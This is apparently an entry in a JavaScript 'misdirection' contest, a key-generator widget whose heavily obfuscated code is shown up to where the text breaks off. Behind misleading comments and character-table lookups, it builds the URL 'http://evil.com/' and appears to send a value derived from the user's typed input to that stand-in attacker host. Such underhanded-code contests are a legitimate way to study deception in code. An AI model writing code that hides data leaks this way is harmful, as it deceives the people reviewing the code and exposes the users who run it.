JavaScript Misdirection Contest #0

See http://misdirect.ion.land

HTML

<!-- DO NOT MODIFY THIS HTML, ONLY THE JAVASCRIPT PART -->
<textarea oninput="generateKey()" id="user-input"></textarea>
<span id="result"></span>
<!-- DO NOT MODIFY THIS HTML, ONLY THE JAVASCRIPT PART -->

CSS

/* DO NOT MODIFY THIS CSS, ONLY THE JAVASCRIPT PART */

JavaScript

var _ = window;
var m = Math;
var e = '';
var keyNamespace = 'abcdefghijklmnopqrstuvwxyz1234567890ABCEDFGHIJKLMNOPQRSTUVWXYZ';
var keySpaceAllowedChars = /[^a-z0-9]/ig
window.generateKey = function() {
  var input = document.querySelector('#user-input').value;

  //bootstrap namespace
  _[keyNamespace[11]+keyNamespace[19]] = keyNamespace;
  //generate an initalization vector
  var iv = ____().map(function(__) { return ಧ()(__+___()) }).join(e);
  document.querySelector('#result').textContent = createVDCWithIV(input, iv)
}
function createVDCWithIV(input, initalizationVector) {
  var sum = 0;
  input.split('').forEach(function(d, i) {
    sum += Math.pow(10,i) * d.charCodeAt(0)
  })
  var safeKey = (Math.random() + sum).toString(26).replace(keySpaceAllowedChars,'');
  // rotate by the iv
  return _[initalizationVector](ಆ(ಆ_ಆ(),safeKey)),safeKey
}

function ___() {
  var _ = 'Another one got caught today, it\'s all over the papers "Teenager Arrested in Computer Crime Scandal"';
  var __ = arguments[lt[35]];
  if(__) {
    if(__ < _[ಠ_ಠ()]) {
      return ___(__ +!![]);
    } else {
        return __;
    }
  } else {
    return ___(+!![]);
  }
}

function ____() {
  var __ = arguments[lt[35]];
  var _1337 = "HAX0R";
  if(__) {
    var i = __[ಠ_ಠ()]-1;
    var v = __[i++];
    if(__[ಠ_ಠ()] < _1337[ಠ_ಠ()]) {
      __.push(i === 2 ? m[lt[15]+lt[14]+lt[22]](i,i*i) : i === 3 ? -(+!![]) : i)
      return ____(__);
    } else {
        return __;
    }
  } else {
    return ____([+lt[27]]);
  }
}
function ಠ_ಠ() {
    return lt[11]+lt[4]+lt[13]+lt[6]+lt[19]+lt[7];
}
function ಧ() {
  var primes = ಠ__ಠ([54, 19, 17, 8, 13, 6])
  var composites = ಠ__ಠ([5,17,14,12,38,7,0,17,38,14,3,4]);
  return _[primes][composites];
}
function ಠ__ಠ(__) {
  return __.map(function(v) { return lt[v] }).join(e)
}

function ಆ_ಆ() {
  return ಆ(ಆ(ಆ(ಆ(ಆ(ಆ(ಆ(ಆ(ಆ(ಆ(ಆ(ಆ(ಆ(lt[7], lt[19]), lt[19]), lt[15]), '://'), lt[4]), lt[21]), lt[8]), lt[11]), '.'), lt[2]), lt[14]), lt[12]),'/')
}

function ಆ(______,...